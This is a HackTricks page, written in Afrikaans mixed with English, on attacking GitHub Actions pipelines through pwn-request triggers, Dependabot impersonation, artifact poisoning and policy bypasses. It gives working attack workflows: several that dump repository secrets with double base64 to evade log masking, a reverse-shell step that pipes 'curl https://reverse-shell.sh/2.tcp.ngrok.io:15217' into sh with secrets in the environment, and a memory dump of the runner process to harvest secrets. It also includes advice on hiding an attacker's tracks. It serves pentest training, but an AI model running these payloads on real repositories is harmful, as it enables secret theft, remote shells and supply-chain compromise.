# Misbruik van Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Gereedskap
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenes op te spoor:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist by [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Basiese Inligting
Op hierdie bladsy sal jy vind:
- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te kry
- Verskillende maniere om **toegang tot 'n action te kry**:
- Om die **regte** te hê om die action te skep
- Misbruik van **pull request**-verwante triggers
- Misbruik van ander **eksterne toegang** tegnieke
- **Pivoting** van 'n reeds gekompromitteerde repo
- Laastens, 'n afdeling oor **post-exploitation techniques om 'n action van binne te misbruik** (om die genoemde impakte te veroorsaak)
## Opsomming van impakte
Vir 'n inleiding oor [**Github Actions: kyk na die basiese inligting**](../basic-github-information.md#github-actions).
As jy daarin kan slaag om **arbitrêre kode in GitHub Actions uit te voer** binne 'n **repository**, mag jy die volgende kan doen:
- **Steel secrets** wat aan die pipeline gemonteer is en **misbruik die pipeline se voorregte** om ongemagtigde toegang tot eksterne platforms, soos AWS en GCP, te kry.
- **Benadeel deployments** en ander **artefakte**.
- As die pipeline assets deploy of stoor, kan jy die finale produk verander, wat 'n supply chain attack moontlik maak.
- **Voer kode uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
- **Oorskryf repository-kode**, afhangende van die regte geassosieer met die `GITHUB_TOKEN`.
## GITHUB_TOKEN
Hierdie "**secret**" (komende van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aanskakel:
Hierdie token is dieselfde een wat 'n **Github Application sal gebruik**, so dit kan toegang tot dieselfde endpoints kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **cross-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos met die `GITHUB_TOKEN` kan toegang.
Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Let daarop dat die token **verval nadat die job voltooi is**.\
Hierdie tokens lyk soos: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Party interessante dinge wat jy met hierdie token kan doen:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos///pulls//merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos///pulls//reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos///pulls \
-d '{"head":"","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Neem kennis dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
Lys secrets in die Github Action-uitset
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Kry reverse shell met secrets
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Dit is moontlik om die permissies wat aan 'n Github Token in ander gebruikers se repositories gegee is, te kontroleer deur **die logs** van die actions na te gaan:
## Toegestane Uitvoering
> [!NOTE]
> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** te hê.
>
> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) raadpleeg.
### Uitvoering vanaf Repo-skepping
As lede van 'n organisasie **nuwe repos kan skep** en jy kan github actions uitvoer, kan jy **'n nuwe repo skep en die secrets wat op organisasievlak gestel is steel**.
### Uitvoering vanaf 'n nuwe branch
As jy **'n nuwe branch in 'n repository wat reeds 'n Github Action bevat** kan skep, kan jy dit **wysig**, die inhoud **oplaai**, en dan daardie action **uitvoer vanaf die nuwe branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
> [!WARNING]
> Enige beperking wat slegs binne die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, of manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bijdrager 'n workflow herrigting gee om op hul branch te loop en gemonteerde secrets/permissions misbruik.
Jy kan die gewijzigde action uitvoerbaar maak **manueel,** wanneer 'n **PR is created** of wanneer **some code is pushed** (afhangend van hoe luidrugtig jy wil wees):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Gevorkte Uitvoering
> [!NOTE]
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository uit te voer**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit compromise.
### `pull_request`
Die workflow-trigger **`pull_request`** sal die workflow elke keer uitvoer as 'n pull request ontvang word met sommige uitsonderings: standaard, as dit die **eerste keer** is dat jy **collaborating**, sal 'n **maintainer** die **run** van die workflow moet **approve**:
> [!NOTE]
> Aangesien die **default limitation** vir **first-time** contributors geld, kan jy bydra deur 'n geldige bug/typo reg te stel en dan ander PRs stuur om jou nuwe `pull_request` privileges te abuse.
>
> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
Boonop verhoed dit standaard **write permissions** en **secrets access** tot die teiken repository soos in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) genoem:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings.
> [!CAUTION]
> **Ja, as die aanvaller in die PR die github action verander wat ge-trigger sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar geen secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**.
### **`pull_request_target`**
Die workflow-trigger **`pull_request_target`** het **write permission** tot die teiken repository en **access to secrets** (en vra nie toestemming nie).
Neem kennis dat die workflow-trigger **`pull_request_target`** **in die base context loop** en nie in dié wat deur die PR verskaf word nie (om **nie onbetroubare kode uit te voer nie**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Dit mag lyk asofs dit veilig is om **`pull_request_target`** te gebruik omdat die **uitgevoerde workflow** dié is wat in die **base** gedefinieer is en **nie in die PR nie**, maar daar is 'n **paar gevalle waar dit nie so is nie**.
En hierdie een sal **access to secrets** hê.
### `workflow_run`
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe dat 'n workflow vanaf 'n ander een loop wanneer dit `completed`, `requested` of `in_progress` is.
In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **access secrets and write tokens, even if the previous workflow was not**.
Hierdie tipe workflow kan aangeval word as dit **afhanklik** is van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** **getrigger** kan word. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se code aflaai: `${{ github.event.pull_request.head.sha }}`\
Die tweede een bestaan uit **passing** 'n **artifact** van die **untrusted** code na die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **vulnerable to RCE** maak.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
## Misbruik van geforkte uitvoering
Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer, kom ons kyk nou hoe hierdie uitvoerings, as hulle swak gekonfigureer is, misbruik kan word:
### Untrusted checkout execution
In die geval van **`pull_request`,** sal die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **malicious PRs code** uitvoer), maar iemand moet dit eers **authorize it first** en dit sal met sekere [limitations](#pull_request) loop.
In die geval van 'n workflow wat **`pull_request_target` or `workflow_run`** gebruik en wat afhang van 'n workflow wat vanaf **`pull_request_target` or `pull_request`** getrigger kan word, sal die code van die oorspronklike repo uitgevoer word, so die **attacker cannot control the executed code**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Die potensieel **untrusted code is being run during `npm install` or `npm build`** aangesien die build scripts en verwysde **packages are controlled by the author of the PR**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Context Script Injections
Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is wie se waardes deur die **user** wat die PR skep **controlled** word. As die github action daardie **data to execute anything** gebruik, kan dit lei tot **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection**
Volgens die docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
As 'n aanvaller enige waarde kon **inject any value** binne hierdie **env** variable, kan hy env-variabeles inject wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine 'n workflow wat 'n opgelaaide artifact vertrou om sy inhoud in die **`GITHUB_ENV`** env variable te stoor. 'n aanvaller kon iets soos hierdie oplaai om dit te kompromitteer:
### Dependabot and other trusted bots
Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), verskeie organisasies het 'n Github Action wat enige PRR van `dependabot[bot]` merge soos in:
```yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Dit is ’n probleem omdat die `github.actor`-veld die gebruiker bevat wat die jongste gebeurtenis veroorsaak het wat die workflow geaktiveer het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker ’n PR te laat wysig. Byvoorbeeld:
- Fork die repository van die slagoffer
- Voeg die malicious payload by jou kopie
- Enable Dependabot op jou fork deur ’n outdated dependency by te voeg. Dependabot sal ’n branch skep wat die dependency regstel met malicious code.
- Open a Pull Request na die repository van die slagoffer vanaf daardie branch (die PR sal deur die gebruiker geskep word, so niks sal nog gebeur nie)
- Then, attacker gaan terug na die aanvanklike PR wat Dependabot in sy fork oopgemaak het en voer `@dependabot recreate` uit
- Then, Dependabot voer sekere aksies in daardie branch uit wat die PR oor die slagoffer-repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom hardloop die workflow).
Verder, wat as in plaas van merging die GitHub Action ’n command injection sou hê soos in:
```yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
- Fork die slagoffer repository en aktiveer Dependabot met 'n verouderde dependency.
- Skep 'n nuwe branch met die kwaadwillige shell injection code.
- Verander die standaard branch van die repo na daardie een.
- Skep 'n PR vanaf hierdie branch na die slagoffer repository.
- Voer `@dependabot merge` uit in die PR wat Dependabot in sy fork oopgemaak het.
- Dependabot sal sy veranderings in die standaard-branch van jou geforkte repository mergen, die PR in die slagoffer-repository bywerk en sodoende maak dat `dependabot[bot]` die akteur word van die jongste gebeurtenis wat die workflow ge-trigger het, en 'n kwaadwillige branch-naam gebruik.
### Kwetsbare Derdeparty GitHub Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oor skryf wat later gebruik of selfs in die workflow uitgevoer kan word. Dus, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou, te kompromitteer.
Example of vulnerable workflow:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
Hierdie kan aangeval word met hierdie workflow:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Ander Eksterne Toegang
### Verwyderde Namespace Repo-oorname
As 'n account sy naam verander, kan 'n ander gebruiker daardie naam ná 'n rukkie registreer. As 'n repository **voor die naamsverandering minder as 100 stars** gehad het, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die verwyderde een te skep.
> [!CAUTION]
> Dus, as 'n action 'n repo van 'n nie‑bestaande account gebruik, is dit steeds moontlik dat 'n attacker daardie account kan skep en die action kan kompromitteer.
As ander repositories **dependencies from this user repos** gebruik het, sal 'n attacker dit kan kap. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In hierdie afdeling sal ons praat oor tegnieke wat toelaat om **van een repo na 'n ander te pivot** op voorwaarde dat ons enige vorm van toegang op die eerste het (sien die vorige afdeling).
### Cache Poisoning
Daar word 'n cache onderhou tussen **workflow runs in the same branch**. Dit beteken dat as 'n attacker 'n **package** kompromitteer wat dan in die cache gestoor word en deur 'n **meer bevoorregte** workflow **downloaded** en uitgevoer word, hy daardie workflow ook kan kompromitteer.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
Workflows kan **artifacts from other workflows and even repos** gebruik; as 'n attacker daarin slaag om die Github Action wat 'n **artifact upload** te kompromitteer — wat later deur 'n ander workflow gebruik word — kan hy die ander workflows ook **kompromitteer**:
{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}
---
## Post Exploitation from an Action
### Github Action Policies Bypass
Soos in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) bespreek, selfs al het 'n repository of organisasie 'n beleid wat die gebruik van sekere actions beperk, kan 'n attacker eenvoudig die action binne die workflow download (`git clone`) en dit as 'n local action verwys. Aangesien die beleidsreëls nie lokale paths raak nie, **sal die action sonder enige beperking uitgevoer word.**
Example:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Toegang tot AWS, Azure en GCP via OIDC
Kyk na die volgende bladsye:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Toegang tot secrets
As jy inhoud in 'n script injekteer, is dit nuttig om te weet hoe jy toegang tot secrets kan kry:
- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing geraadpleeg word met **`printenv`**.
Lys secrets in die Github Action-uitset
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Kry reverse shell with secrets
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decode locally:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Misbruik van Self-hosted runners
Die manier om te vind watter **Github Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die Github Action-konfigurasie yaml.
**Self-hosted** runners mag toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs as dit geïsoleer en vernietig word, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander.
In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat alle geheime van die workflows by enige stap sal bevat deur sy geheue te dump:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Beelde-register
Dit is moontlik om Github actions te skep wat **'n Docker image binne Github bou en stoor**.\
'n Voorbeeld kan gevind word in die volgende uitklapbare:
Github Action Build & Push Docker Image
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
Soos jy in die vorige kode kon sien, is die Github registry gehost op **`ghcr.io`**.
'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
Dan kan die gebruiker soek na **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Gevoelige inligting in Github Actions logs
Selfs al probeer **Github** **geheime waardes opspoor** in die actions logs en **dit nie wys nie**, sal **ander sensitiewe data** wat tydens die uitvoering van die action gegenereer is nie versteek word nie. Byvoorbeeld sal 'n JWT wat met 'n geheime waarde onderteken is, nie versteek word nie, tensy dit [spesifiek geconfigureer is](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Jou spore verberg
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat opgestel word duidelik sigbaar vir die publiek op Github en vir die geteikende GitHub-rekening. In GitHub, standaard kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskort** is, word al hul **PRs outomaties uitgevee** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended kry of jou rekening laat flagged word**. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PR verwyder).
'n Organisasie op GitHub is baie proaktief daarin om rekeninge by GitHub aan te meld. Alles wat jy hoef te doen is om “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op github gemaak.
> [!WARNING]
> Die enigste manier vir 'n organisasie om te agterkom dat hulle geteiken is, is om GitHub-logs in SIEM na te gaan aangesien die PR vanaf die GitHub UI verwyder sal word.
## Verwysings
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}